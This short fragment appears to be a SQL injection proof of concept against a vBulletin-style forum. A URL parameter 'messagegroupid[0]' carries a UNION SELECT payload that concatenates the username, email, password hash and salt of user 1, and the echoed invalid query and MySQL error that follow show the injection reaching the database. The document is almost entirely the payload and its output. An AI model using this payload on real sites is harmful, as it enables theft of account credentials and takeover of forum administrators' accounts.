&messagegroupid[0]=3) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1

Invalid SQL:

					SELECT socialgroup.name
					FROM socialgroup AS socialgroup
					WHERE socialgroup.groupid IN (3) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1);

MySQL Error   : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 3